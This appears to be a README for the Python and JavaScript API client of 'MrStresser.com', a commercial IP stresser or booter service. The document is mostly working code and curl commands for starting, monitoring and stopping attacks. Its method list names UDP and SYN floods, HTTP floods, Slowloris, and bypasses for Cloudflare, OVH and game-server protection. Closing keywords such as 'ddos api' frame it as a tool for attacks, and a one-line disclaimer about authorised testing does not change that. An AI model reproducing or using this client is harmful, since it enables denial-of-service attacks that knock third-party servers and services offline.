The official Python & JavaScript API wrapper for MrStresser.com β the #1 premium IP stresser and network stress testing platform.
pip install mrstresser-apifrom mrstresser import MrStresser
client = MrStresser(api_key="YOUR_API_KEY")
# Start a stress test
attack = client.attack.start(
host="192.168.1.1",
port=80,
duration=60,
method="UDP"
)
print(f"Attack started: {attack.id}")
# Check status
status = client.attack.status(attack.id)
print(f"Status: {status.state}")
# Stop the attack
client.attack.stop(attack.id)npm install mrstresser-apiconst { MrStresser } = require('mrstresser-api');
const client = new MrStresser({ apiKey: 'YOUR_API_KEY' });
// Start attack
const attack = await client.attack.start({
host: '192.168.1.1',
port: 80,
duration: 60,
method: 'UDP'
});
console.log('Attack ID:', attack.id);All API requests require your API key from mrstresser.com/dashboard.
GET https://api.mrstresser.com/v1/attack/start
Headers: X-API-Key: YOUR_API_KEY
| Method | Endpoint | Description |
|---|---|---|
GET |
/v1/attack/start |
Launch a new stress test |
GET |
/v1/attack/stop |
Stop an active attack |
GET |
/v1/attack/status |
Get attack status |
GET |
/v1/attack/history |
Get attack history |
GET |
/v1/methods |
List all attack methods |
GET |
/v1/account/info |
Get account details |
GET |
/v1/account/balance |
Get remaining seconds |
| Method | Layer | Description |
|---|---|---|
UDP |
L4 | UDP flood attack |
TCP |
L4 | TCP SYN flood |
HTTP |
L7 | HTTP GET flood |
HTTPS |
L7 | HTTPS bypass flood |
SLOWLORIS |
L7 | Slow HTTP attack |
BYPASS |
L7 | Cloudflare bypass |
OVH |
L4 | OVH mitigation bypass |
GAME |
L4 | Game server bypass |
from mrstresser import MrStresser
client = MrStresser(api_key="YOUR_API_KEY")
# ββ Account ββββββββββββββββββββββββββββββββββ
info = client.account.info()
print(info.username, info.plan, info.seconds_remaining)
# ββ List methods ββββββββββββββββββββββββββββββ
methods = client.methods.list()
for m in methods:
print(f"{m.name} | Layer {m.layer} | Max {m.max_duration}s")
# ββ Start attack ββββββββββββββββββββββββββββββ
attack = client.attack.start(
host="192.168.1.1",
port=80,
duration=120,
method="HTTP",
concurrents=3
)
# ββ Poll until done βββββββββββββββββββββββββββ
import time
while True:
s = client.attack.status(attack.id)
print(f"[{s.elapsed}s] State: {s.state} | PPS: {s.pps}")
if s.state == "completed":
break
time.sleep(5)
# ββ History βββββββββββββββββββββββββββββββββββ
history = client.attack.history(limit=10)
for h in history:
print(f"{h.host}:{h.port} | {h.method} | {h.status}")const { MrStresser } = require('mrstresser-api');
const client = new MrStresser({ apiKey: 'YOUR_API_KEY' });
// Account info
const info = await client.account.info();
console.log(info.username, info.plan);
// List methods
const methods = await client.methods.list();
methods.forEach(m => console.log(m.name, m.layer));
// Start attack
const attack = await client.attack.start({
host: '192.168.1.1',
port: 80,
duration: 120,
method: 'HTTP',
concurrents: 3
});
// Stop
await client.attack.stop(attack.id);
// History
const history = await client.attack.history({ limit: 10 });# Start attack
curl -H "X-API-Key: YOUR_KEY" \
"https://api.mrstresser.com/v1/attack/start?host=192.168.1.1&port=80&duration=60&method=UDP"
# Check status
curl -H "X-API-Key: YOUR_KEY" \
"https://api.mrstresser.com/v1/attack/status?id=ATTACK_ID"
# Get account info
curl -H "X-API-Key: YOUR_KEY" \
"https://api.mrstresser.com/v1/account/info"- π Website: mrstresser.com
- π Dashboard: mrstresser.com/dashboard
- π Docs: mrstresser.com/api-docs
- π¬ Support: Telegram
β οΈ Legal: Only use against servers you own or have explicit permission to test. Unauthorized use is illegal.
mrstresser api | ip stresser api | booter api | ddos api | stress test api | layer4 api | layer7 api | network testing api | mrstresser.com